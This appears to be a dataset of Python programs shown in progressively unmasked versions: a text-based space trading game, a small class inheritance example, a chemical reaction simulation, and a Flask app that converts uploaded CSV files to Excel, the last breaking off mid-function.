userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')
str = ''
if userInput == '1':
str = 'Food'
elif userInput == '2':
str = 'Tech'
else:
break
print('**********************************************************')
max = 0
if market[str] * player.freeCargoUnits <= player.getCredits():
max = player.freeCargoUnits
else:
max = int(player.getCredits() / market[str])
print('Price for ' + str + ' = ', market[str])
secondInput = input(
'Would you like to buy (enter b) or sell (enter s)?')
if secondInput == 'b':
print('You can buy a maximum of', max, 'units')
nr = input('How much would you like to buy? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if player.getCredits() > market[str] * nr and nr <= max:
if str == 'Food':
player.addFood(nr)
else:
player.addTech(nr)
player.setCredits(player.getCredits() - market[str] * nr)
player.updateCargoUnits()
elif str == 'Food':
print('You can sell a maximum of', player.getFood(), 'food units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getFood():
player.sellFood(nr)
player.setCredits(player.getCredits() + nr * market['Food']
)
else:
print('You can sell a maximum of', player.getTech(), 'tech units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getTech():
player.sellTech(nr)
player.setCredits(player.getCredits() + nr * market['Tech']
)
def menu(player):
global turnCounter
notFinished = True
planet = Planet.Planet(random.randint(1, 3))
while notFinished:
cleanScreen()
if player.getCredits() < 0:
print(
'Sorry, but you ran out of credits and therefore lost the game in round,'
, turnCounter, '!')
break
print('**********************************************************')
print('Turn nr.', turnCounter,
'in this glorious space trading simulation')
player.printStats()
print('**********************************************************')
print('You are on Planet:', planet.getName())
print('**********************************************************')
print('Enter 1 to go to the shipyard')
print('Enter 2 to go to the market')
print('Enter 3 to go to the spaceport')
print('Enter exit to leave the game')
userinput = input('Your Input:')
if userinput == '1':
shipyardMenu(player, planet)
elif userinput == '2':
marketMenu(player, planet)
elif userinput == '3':
planet = spacePortMenu(player, planet)
else:
notFinished = False
<mask token>
| <mask token>
turnCounter = 0
def cleanScreen():
for i in range(0, 50):
print('')
def spacePirates(player):
while True:
cleanScreen()
print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')
playerFirepower = player.getTotalFirepower()
piratesFirepower = int(playerFirepower * (1 + random.randint(-20,
20) / 100))
if random.randint(0, playerFirepower
) > playerFirepower / 3 and random.randint(0, piratesFirepower
) < piratesFirepower / 3 or playerFirepower == 0:
print('Damm, you got robbed by the pirates!')
print('You lost all your cargo and half your money!')
player.clearTech()
player.clearFood()
player.updateCargoUnits()
player.setCredits(player.getCredits() / 2)
else:
print('Lucky you! Your fighters drove them off!')
print('**********************************************************')
input('Hit enter to continue')
break
def shipyardMenu(player, planet):
while True:
cleanScreen()
print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')
player.printStats()
print('**********************************************************')
shipList = planet.getShipyard()
print('Available Ships:')
print('**********************************************************')
i = 0
for s in shipList:
print('Nr.:' + str(i) + ':' + s.toString())
i += 1
print('**********************************************************')
userInput = input(
'Enter the number you would like to by or x to leave:')
if userInput == 'x':
break
else:
ui = int(userInput)
if ui <= i:
if player.getCredits() > shipList[ui].getPrice():
if type(shipList[ui]) == FighterShip:
player.addFighterShip(shipList[ui])
player.updateFirePower()
else:
player.addCargoShip(shipList[ui])
player.updateCargoUnits()
player.setCredits(player.getCredits() - shipList[ui].
getPrice())
player.updateMaintenance()
del shipList[ui]
else:
print('wrong number, try again ....')
def spacePortMenu(player, planet):
global turnCounter
while True:
cleanScreen()
print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')
print('Enter 1 to jump to a agri planet (risk 5%)')
print('Enter 2 to jump to a tech planet (risk 10%)')
print('Enter 3 to jump to a war planet (risk 20%)')
userInput = input('Or enter x to exit:')
risk = 0
if userInput == 'x':
return planet
elif userInput == '1':
risk = 5
elif userInput == '2':
risk = 10
else:
risk = 20
if random.randint(0, 100) <= risk:
spacePirates(player)
player.setCredits(player.getCredits() - player.getTotalMaintenance())
turnCounter += 1
return Planet.Planet(int(userInput))
def marketMenu(player, planet):
while True:
cleanScreen()
print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')
player.printStats()
print('**********************************************************')
market = planet.getMarket()
print('Price for Food = ', market['Food'])
print('Price for Tech = ', market['Tech'])
print('**********************************************************')
userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')
str = ''
if userInput == '1':
str = 'Food'
elif userInput == '2':
str = 'Tech'
else:
break
print('**********************************************************')
max = 0
if market[str] * player.freeCargoUnits <= player.getCredits():
max = player.freeCargoUnits
else:
max = int(player.getCredits() / market[str])
print('Price for ' + str + ' = ', market[str])
secondInput = input(
'Would you like to buy (enter b) or sell (enter s)?')
if secondInput == 'b':
print('You can buy a maximum of', max, 'units')
nr = input('How much would you like to buy? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if player.getCredits() > market[str] * nr and nr <= max:
if str == 'Food':
player.addFood(nr)
else:
player.addTech(nr)
player.setCredits(player.getCredits() - market[str] * nr)
player.updateCargoUnits()
elif str == 'Food':
print('You can sell a maximum of', player.getFood(), 'food units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getFood():
player.sellFood(nr)
player.setCredits(player.getCredits() + nr * market['Food']
)
else:
print('You can sell a maximum of', player.getTech(), 'tech units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getTech():
player.sellTech(nr)
player.setCredits(player.getCredits() + nr * market['Tech']
)
def menu(player):
global turnCounter
notFinished = True
planet = Planet.Planet(random.randint(1, 3))
while notFinished:
cleanScreen()
if player.getCredits() < 0:
print(
'Sorry, but you ran out of credits and therefore lost the game in round,'
, turnCounter, '!')
break
print('**********************************************************')
print('Turn nr.', turnCounter,
'in this glorious space trading simulation')
player.printStats()
print('**********************************************************')
print('You are on Planet:', planet.getName())
print('**********************************************************')
print('Enter 1 to go to the shipyard')
print('Enter 2 to go to the market')
print('Enter 3 to go to the spaceport')
print('Enter exit to leave the game')
userinput = input('Your Input:')
if userinput == '1':
shipyardMenu(player, planet)
elif userinput == '2':
marketMenu(player, planet)
elif userinput == '3':
planet = spacePortMenu(player, planet)
else:
notFinished = False
print('***************************************')
print(' Welcome to StarSim')
print('***************************************')
name = input('Please enter your Name:')
player = Player.Player(name)
menu(player)
| <mask token>
import Ship
import Player
import Planet
import random
from FighterShip import FighterShip
turnCounter = 0
def cleanScreen():
for i in range(0, 50):
print('')
def spacePirates(player):
while True:
cleanScreen()
print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****')
playerFirepower = player.getTotalFirepower()
piratesFirepower = int(playerFirepower * (1 + random.randint(-20,
20) / 100))
if random.randint(0, playerFirepower
) > playerFirepower / 3 and random.randint(0, piratesFirepower
) < piratesFirepower / 3 or playerFirepower == 0:
print('Damm, you got robbed by the pirates!')
print('You lost all your cargo and half your money!')
player.clearTech()
player.clearFood()
player.updateCargoUnits()
player.setCredits(player.getCredits() / 2)
else:
print('Lucky you! Your fighters drove them off!')
print('**********************************************************')
input('Hit enter to continue')
break
def shipyardMenu(player, planet):
while True:
cleanScreen()
print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****')
player.printStats()
print('**********************************************************')
shipList = planet.getShipyard()
print('Available Ships:')
print('**********************************************************')
i = 0
for s in shipList:
print('Nr.:' + str(i) + ':' + s.toString())
i += 1
print('**********************************************************')
userInput = input(
'Enter the number you would like to by or x to leave:')
if userInput == 'x':
break
else:
ui = int(userInput)
if ui <= i:
if player.getCredits() > shipList[ui].getPrice():
if type(shipList[ui]) == FighterShip:
player.addFighterShip(shipList[ui])
player.updateFirePower()
else:
player.addCargoShip(shipList[ui])
player.updateCargoUnits()
player.setCredits(player.getCredits() - shipList[ui].
getPrice())
player.updateMaintenance()
del shipList[ui]
else:
print('wrong number, try again ....')
def spacePortMenu(player, planet):
global turnCounter
while True:
cleanScreen()
print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****')
print('Enter 1 to jump to a agri planet (risk 5%)')
print('Enter 2 to jump to a tech planet (risk 10%)')
print('Enter 3 to jump to a war planet (risk 20%)')
userInput = input('Or enter x to exit:')
risk = 0
if userInput == 'x':
return planet
elif userInput == '1':
risk = 5
elif userInput == '2':
risk = 10
else:
risk = 20
if random.randint(0, 100) <= risk:
spacePirates(player)
player.setCredits(player.getCredits() - player.getTotalMaintenance())
turnCounter += 1
return Planet.Planet(int(userInput))
def marketMenu(player, planet):
while True:
cleanScreen()
print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******')
player.printStats()
print('**********************************************************')
market = planet.getMarket()
print('Price for Food = ', market['Food'])
print('Price for Tech = ', market['Tech'])
print('**********************************************************')
userInput = input('Enter 1 for Food, 2 for Tech or x for exit:')
str = ''
if userInput == '1':
str = 'Food'
elif userInput == '2':
str = 'Tech'
else:
break
print('**********************************************************')
max = 0
if market[str] * player.freeCargoUnits <= player.getCredits():
max = player.freeCargoUnits
else:
max = int(player.getCredits() / market[str])
print('Price for ' + str + ' = ', market[str])
secondInput = input(
'Would you like to buy (enter b) or sell (enter s)?')
if secondInput == 'b':
print('You can buy a maximum of', max, 'units')
nr = input('How much would you like to buy? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if player.getCredits() > market[str] * nr and nr <= max:
if str == 'Food':
player.addFood(nr)
else:
player.addTech(nr)
player.setCredits(player.getCredits() - market[str] * nr)
player.updateCargoUnits()
elif str == 'Food':
print('You can sell a maximum of', player.getFood(), 'food units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getFood():
player.sellFood(nr)
player.setCredits(player.getCredits() + nr * market['Food']
)
else:
print('You can sell a maximum of', player.getTech(), 'tech units')
nr = input('How much would you like to sell? Or press x to exit')
if nr == 'x':
pass
else:
nr = int(nr)
if nr <= player.getTech():
player.sellTech(nr)
player.setCredits(player.getCredits() + nr * market['Tech']
)
def menu(player):
global turnCounter
notFinished = True
planet = Planet.Planet(random.randint(1, 3))
while notFinished:
cleanScreen()
if player.getCredits() < 0:
print(
'Sorry, but you ran out of credits and therefore lost the game in round,'
, turnCounter, '!')
break
print('**********************************************************')
print('Turn nr.', turnCounter,
'in this glorious space trading simulation')
player.printStats()
print('**********************************************************')
print('You are on Planet:', planet.getName())
print('**********************************************************')
print('Enter 1 to go to the shipyard')
print('Enter 2 to go to the market')
print('Enter 3 to go to the spaceport')
print('Enter exit to leave the game')
userinput = input('Your Input:')
if userinput == '1':
shipyardMenu(player, planet)
elif userinput == '2':
marketMenu(player, planet)
elif userinput == '3':
planet = spacePortMenu(player, planet)
else:
notFinished = False
print('***************************************')
print(' Welcome to StarSim')
print('***************************************')
name = input('Please enter your Name:')
player = Player.Player(name)
menu(player)
| '''
Created on 17.05.2018
@author: markus
'''
import Ship
import Player
import Planet
import random
from FighterShip import FighterShip
turnCounter = 0
def cleanScreen():
for i in range(0,50):
print("")
def spacePirates(player):#space prites attack, their firepower is +/-20% of player firepower
while True:# loop
cleanScreen()
print("*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****")
playerFirepower = player.getTotalFirepower()
piratesFirepower = int(playerFirepower*(1+random.randint(-20,20)/100))
if ((random.randint(0,playerFirepower) > playerFirepower/3) and
(random.randint(0,piratesFirepower) < piratesFirepower/3) or (playerFirepower == 0)):
print("Damm, you got robbed by the pirates!")
print("You lost all your cargo and half your money!")
player.clearTech()
player.clearFood()
player.updateCargoUnits()
player.setCredits(player.getCredits()/2)
else:
print("Lucky you! Your fighters drove them off!")
print("**********************************************************")
input("Hit enter to continue")
break
def shipyardMenu(player, planet):
while True:# loop
cleanScreen()
print("*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****")
player.printStats()
print("**********************************************************")
shipList = planet.getShipyard()
print("Available Ships:")
print("**********************************************************")
i = 0
for s in shipList:
print("Nr.:"+str(i)+":"+s.toString())
i += 1
print("**********************************************************")
userInput = input("Enter the number you would like to by or x to leave:")
if (userInput == "x"):
break;
else:
ui = int(userInput)
if (ui <= i):
if(player.getCredits() > shipList[ui].getPrice()): #has enough money
if(type(shipList[ui]) == FighterShip):
player.addFighterShip(shipList[ui])
player.updateFirePower()
else:
player.addCargoShip(shipList[ui])
player.updateCargoUnits()
player.setCredits(player.getCredits() - shipList[ui].getPrice())
player.updateMaintenance()
del shipList[ui]
else:
print("wrong number, try again ....")
def spacePortMenu(player, planet):
global turnCounter
while True:# loop
cleanScreen()
print("****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****")
print("Enter 1 to jump to a agri planet (risk 5%)")
print("Enter 2 to jump to a tech planet (risk 10%)")
print("Enter 3 to jump to a war planet (risk 20%)")
userInput = input("Or enter x to exit:")
risk = 0
if (userInput == "x"):
return planet
elif (userInput == "1"):
risk = 5
elif(userInput == "2"):
risk = 10
else:
risk = 20
if (random.randint(0,100) <= risk):
spacePirates(player)
player.setCredits(player.getCredits() - player.getTotalMaintenance())
turnCounter += 1
return Planet.Planet(int(userInput))
def marketMenu(player, planet):
while True:# loop
cleanScreen()
print("*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******")
player.printStats()
print("**********************************************************")
market = planet.getMarket()
print("Price for Food = ",market["Food"])
print("Price for Tech = ",market["Tech"])
print("**********************************************************")
userInput = input("Enter 1 for Food, 2 for Tech or x for exit:")
str =""
if (userInput == "1"):
str = "Food"
elif(userInput == "2"):
str= "Tech"
else:
break
print("**********************************************************")
max = 0
if(market[str]*player.freeCargoUnits <= player.getCredits()):#enough credit?
max = player.freeCargoUnits
else:
max = int(player.getCredits()/market[str])
print("Price for "+str+" = ",market[str])
secondInput = input("Would you like to buy (enter b) or sell (enter s)?")
if (secondInput == "b"):#buying
print("You can buy a maximum of",max,"units")
nr = input("How much would you like to buy? Or press x to exit")
if (nr == "x"):
pass
else:
nr = int(nr)
if((player.getCredits() > market[str]*nr) and (nr <= max)): #has enough money and space
if (str == "Food"):
player.addFood(nr)
else:
player.addTech(nr)
player.setCredits(player.getCredits() - market[str]*nr)
player.updateCargoUnits()
else:#selling
if (str == "Food"):
print("You can sell a maximum of",player.getFood(),"food units")
nr = input("How much would you like to sell? Or press x to exit")
if (nr == "x"):
pass
else:
nr = int(nr)
if (nr <= player.getFood()):
player.sellFood(nr)
player.setCredits(player.getCredits() + nr*market["Food"])
else:
print("You can sell a maximum of",player.getTech(),"tech units")
nr = input("How much would you like to sell? Or press x to exit")
if (nr == "x"):
pass
else:
nr = int(nr)
if (nr <= player.getTech()):
player.sellTech(nr)
player.setCredits(player.getCredits() + nr*market["Tech"])
def menu(player):
global turnCounter
notFinished = True
planet = Planet.Planet(random.randint(1,3))
while notFinished:#main game loop
cleanScreen()
if (player.getCredits() < 0):
print("Sorry, but you ran out of credits and therefore lost the game in round,",turnCounter,"!")
break
print("**********************************************************")
print("Turn nr.",turnCounter,"in this glorious space trading simulation")
player.printStats()
print("**********************************************************")
print("You are on Planet:",planet.getName())
print("**********************************************************")
print("Enter 1 to go to the shipyard")
print("Enter 2 to go to the market")
print("Enter 3 to go to the spaceport")
print("Enter exit to leave the game")
userinput = input("Your Input:")
if (userinput == "1"):
shipyardMenu(player, planet)
elif (userinput == "2"):
marketMenu(player, planet)
elif (userinput == "3"):
planet = spacePortMenu(player, planet)
else:
notFinished = False
print("***************************************")
print(" Welcome to StarSim")
print("***************************************")
name = input("Please enter your Name:")
player = Player.Player(name)
menu(player)
| [
4,
5,
8,
9,
10
] |
9,961 | 6b24c438ca7bb4c37ae356c18c562831767f0569 | class Robot:
def __init__(self, name):
self.name = name
<mask token>
def say_hi_to_everybody(self):
print('Hi to all objects :-)')
class PhysicianRobot(Robot):
def say_hi_again(self):
print("Hi, I'm from sub-class PhysicianRobot")
print('Hi, Ich bin ' + self.name)
<mask token>
| class Robot:
def __init__(self, name):
self.name = name
def say_hi(self):
print("Hi, I'm from class Robot")
print('Hi, Ich bin ' + self.name)
def say_hi_to_everybody(self):
print('Hi to all objects :-)')
class PhysicianRobot(Robot):
def say_hi_again(self):
print("Hi, I'm from sub-class PhysicianRobot")
print('Hi, Ich bin ' + self.name)
<mask token>
| class Robot:
def __init__(self, name):
self.name = name
def say_hi(self):
print("Hi, I'm from class Robot")
print('Hi, Ich bin ' + self.name)
def say_hi_to_everybody(self):
print('Hi to all objects :-)')
class PhysicianRobot(Robot):
def say_hi_again(self):
print("Hi, I'm from sub-class PhysicianRobot")
print('Hi, Ich bin ' + self.name)
<mask token>
print(x, type(x))
x.say_hi()
x.say_hi_to_everybody()
print(y, type(y))
y.say_hi()
y.say_hi_again()
y.say_hi_to_everybody()
| class Robot:
def __init__(self, name):
self.name = name
def say_hi(self):
print("Hi, I'm from class Robot")
print('Hi, Ich bin ' + self.name)
def say_hi_to_everybody(self):
print('Hi to all objects :-)')
class PhysicianRobot(Robot):
def say_hi_again(self):
print("Hi, I'm from sub-class PhysicianRobot")
print('Hi, Ich bin ' + self.name)
name_1 = 'Marvin'
name_2 = 'James'
x = Robot(name_1)
y = PhysicianRobot(name_2)
print(x, type(x))
x.say_hi()
x.say_hi_to_everybody()
print(y, type(y))
y.say_hi()
y.say_hi_again()
y.say_hi_to_everybody()
| class Robot:
def __init__(self, name):
self.name = name
def say_hi(self):
print("Hi, I'm from class Robot")
print("Hi, Ich bin " + self.name)
def say_hi_to_everybody(self):
print("Hi to all objects :-)")
class PhysicianRobot(Robot):
def say_hi_again(self):
print("Hi, I'm from sub-class PhysicianRobot")
print("Hi, Ich bin " + self.name)
name_1 = "Marvin"
name_2 = "James"
x = Robot(name_1)
y = PhysicianRobot(name_2)
print(x, type(x))
x.say_hi()
x.say_hi_to_everybody()
print(y, type(y))
y.say_hi()
y.say_hi_again()
y.say_hi_to_everybody()
| [
5,
6,
7,
8,
9
] |
9,962 | 87a1624707e4a113a35d975518e432277c851e41 | <mask token>
| <mask token>
system.trajectories()
<mask token>
print('r is ' + str(r))
system.gillespieConcentrations(50000 * r)
system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
<mask token>
system.gillespieConcentrations(10000 * r)
system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
| <mask token>
reactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [-
1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction(
lambda X: 0.04 * X[0], [-1, 0])]
system = ChemicalReactionsSystem(reactions, 2)
system.trajectories()
r = 1
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
print('r is ' + str(r))
system.gillespieConcentrations(50000 * r)
system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
r = 10
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
system.gillespieConcentrations(10000 * r)
system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
| from simulateChemicals import *
reactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [-
1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction(
lambda X: 0.04 * X[0], [-1, 0])]
system = ChemicalReactionsSystem(reactions, 2)
system.trajectories()
r = 1
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
print('r is ' + str(r))
system.gillespieConcentrations(50000 * r)
system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
r = 10
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
system.gillespieConcentrations(10000 * r)
system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
| #' % Computational Biology Lab 3
#' % Alois Klink
#' % 18 May 2017
#' # Converting Reaction Equations to a ODE
#' To convert many reaction equations to one ODE, one must first find the propensity
#' and the changes of each reaction.
#' The Reaction class takes a lambda function of the propensity and the change matrix
#' as inputs.
from simulateChemicals import *
#' Here are the reaction formulas:
#'
#'* $\emptyset \overset{1}{\to} X$
#'* $X \overset{2}{\to} Y$
#'* $2 X + Y \overset{0.02}{\to} 3 X$
#'* $X \overset{0.04}{\to} \emptyset$
reactions = [Reaction(lambda X: 1, [1,0]),
Reaction(lambda X: 2*X[0], [-1,1]),
Reaction(lambda X: 0.02* X[0]**2 *X[1], [1,-1]),
Reaction(lambda X: 0.04*X[0], [-1,0])]
#' # Displaying the ODE
#' The figure below shows how the system described by the above reactions
#' behaves when modelled with an ODE. Notice that as X is being created, it is
#' immediatly turned into Y. However, once Y passes a threshold point, and starts
#' combining with X, due to the X^2 factor, X dramatically jumps up, rapidly
#' converting all Y to X. Once Y runs out, X slowly begins to degrade to
#' an equilibrium position.
#+trajectories, caption='ODE Simulation Trajectories from 0 initialConditions'
system = ChemicalReactionsSystem(reactions, 2)
system.trajectories()
#' # Gillespie's Algorithm
#' The code below shows how the reaction changes when Gillespie's algorithm is
#' used to simulate the reactions. Gillespie's algorithm can be reduced by a
#' factor to increase the accuracy of the algorithm. This technically works by
#' increasing the number of molecules, and speeding up reactions. However, these
#' graphs have molecules split into pieces, which is not possible in the real world.
r = 1
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
#' This shows how the cocentration changes over time. Notice that due the high
#' randomness of the properties, the threshold point is reached much faster. As
#' r increases, however, and the Gillespie's algorithm is reduced, the variance
#' gets smaller and smaller, so that the threshold point is reached at the same
#' time as the ODE.
print("r is " + str(r))
system.gillespieConcentrations(50000*r)
#' This shows how the cocentration X changes in relation to the concentrations Y.
#' Notice that due the high randomness of the properties, the path is a lot tighter,
#' and the stable point seems to be a lot lower.
system.gillespieTrajectories([[0, 0], [4, 23]],
10000*r)
#' # Reduction
#' The following graphs have r = 10
r = 10
reactions = Reaction.rescaleReactions(reactions, r)
system = ChemicalReactionsSystem(reactions, 2)
#+caption='r = 10', width="15cm"
system.gillespieConcentrations(10000*r)
#+caption='r = 10', width="15cm"
system.gillespieTrajectories([[0, 0], [4, 23]],
10000*r)
| [
0,
1,
2,
3,
4
] |
9,963 | eb17de8828a600832253c4cfeeb91503b6876dd7 | <mask token>
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower(
) in ALLOWED_EXTENSIONS
<mask token>
def process_file(path, filename):
check_encoding(path, filename)
def check_encoding(path, filename):
with open(path, 'rb') as rawdata:
result = chardet.detect(rawdata.read(10000))
df = pd.read_csv(path, encoding=result['encoding'])
GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(
'.', 1)[0] + '.xlsx')
df.to_excel(GFG, index=False, encoding='utf-8')
GFG.save()
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.
rsplit('.', 1)[0] + '.xlsx', as_attachment=True)
<mask token>
| <mask token>
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower(
) in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'file' not in request.files:
print('No file attached in request')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
print('No file selected')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename
), filename)
return redirect(url_for('uploaded_file', filename=filename))
return render_template('index.html')
def process_file(path, filename):
check_encoding(path, filename)
def check_encoding(path, filename):
with open(path, 'rb') as rawdata:
result = chardet.detect(rawdata.read(10000))
df = pd.read_csv(path, encoding=result['encoding'])
GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(
'.', 1)[0] + '.xlsx')
df.to_excel(GFG, index=False, encoding='utf-8')
GFG.save()
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.
rsplit('.', 1)[0] + '.xlsx', as_attachment=True)
if __name__ == '__main__':
port = int(os.environ.get('PORT', 5000))
app.run(host='0.0.0.0', port=port)
| <mask token>
UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'
DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'
ALLOWED_EXTENSIONS = {'csv', 'txt'}
app = Flask(__name__, static_url_path='/static')
DIR_PATH = os.path.dirname(os.path.realpath(__file__))
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower(
) in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'file' not in request.files:
print('No file attached in request')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
print('No file selected')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename
), filename)
return redirect(url_for('uploaded_file', filename=filename))
return render_template('index.html')
def process_file(path, filename):
check_encoding(path, filename)
def check_encoding(path, filename):
with open(path, 'rb') as rawdata:
result = chardet.detect(rawdata.read(10000))
df = pd.read_csv(path, encoding=result['encoding'])
GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(
'.', 1)[0] + '.xlsx')
df.to_excel(GFG, index=False, encoding='utf-8')
GFG.save()
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.
rsplit('.', 1)[0] + '.xlsx', as_attachment=True)
if __name__ == '__main__':
port = int(os.environ.get('PORT', 5000))
app.run(host='0.0.0.0', port=port)
| import os
from flask import Flask, request, redirect, url_for, render_template, send_from_directory
from werkzeug.utils import secure_filename
import chardet as chardet
import pandas as pd
UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'
DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'
ALLOWED_EXTENSIONS = {'csv', 'txt'}
app = Flask(__name__, static_url_path='/static')
DIR_PATH = os.path.dirname(os.path.realpath(__file__))
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower(
) in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'file' not in request.files:
print('No file attached in request')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
print('No file selected')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename
), filename)
return redirect(url_for('uploaded_file', filename=filename))
return render_template('index.html')
def process_file(path, filename):
check_encoding(path, filename)
def check_encoding(path, filename):
with open(path, 'rb') as rawdata:
result = chardet.detect(rawdata.read(10000))
df = pd.read_csv(path, encoding=result['encoding'])
GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(
'.', 1)[0] + '.xlsx')
df.to_excel(GFG, index=False, encoding='utf-8')
GFG.save()
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.
rsplit('.', 1)[0] + '.xlsx', as_attachment=True)
if __name__ == '__main__':
port = int(os.environ.get('PORT', 5000))
app.run(host='0.0.0.0', port=port)
| import os
from flask import Flask, request, redirect, url_for, render_template, send_from_directory
from werkzeug.utils import secure_filename
import chardet as chardet
import pandas as pd
UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/'
DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/'
ALLOWED_EXTENSIONS = {'csv', 'txt'}
app = Flask(__name__, static_url_path="/static")
DIR_PATH = os.path.dirname(os.path.realpath(__file__))
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER
# limit upload size upto 8mb
app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'file' not in request.files:
print('No file attached in request')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
print('No file selected')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), filename)
return redirect(url_for('uploaded_file', filename=filename))
return render_template('index.html')
def process_file(path, filename):
check_encoding(path, filename)
# with open(path, 'a') as f:
# f.write("\nAdded processed content")
def check_encoding(path, filename):
with open(path, 'rb') as rawdata:
result = chardet.detect(rawdata.read(10000))
df = pd.read_csv(path, encoding=result['encoding'])
